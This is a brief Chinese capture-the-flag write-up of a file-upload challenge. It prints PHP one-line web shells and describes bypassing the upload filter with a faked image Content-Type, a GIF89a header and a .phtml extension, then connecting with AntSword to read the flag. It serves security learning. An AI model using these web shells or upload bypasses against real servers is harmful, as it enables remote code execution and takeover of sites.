上传什么都提示:
提示要上传图片
上传一句话木马:
<?php eval($_POST['b'])?>
<?php $_GET['a']($_POST['b'])?>
抓包,将Content-Type里面的格式改为image/jpeg
提示:
换个一句话木马:
GIF89a? <script language="php">eval($_REQUEST[1])</script>
上传成功
现在需要知道图片的保存路径了。
一般都是upload/filename
访问一下
发现有we.txt文件
这样就好办了,拿蚁剑连接吧。
在蚁剑连接的过程中,网页要保持代理状态
密码是1
做到这里,突然发现只有phtml结尾的文件可以用蚁剑连接上
后来发现绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
蚁剑只连接以上的后缀,但是除了phtml其它都被过滤了
连上后:在根目录下面发现了flag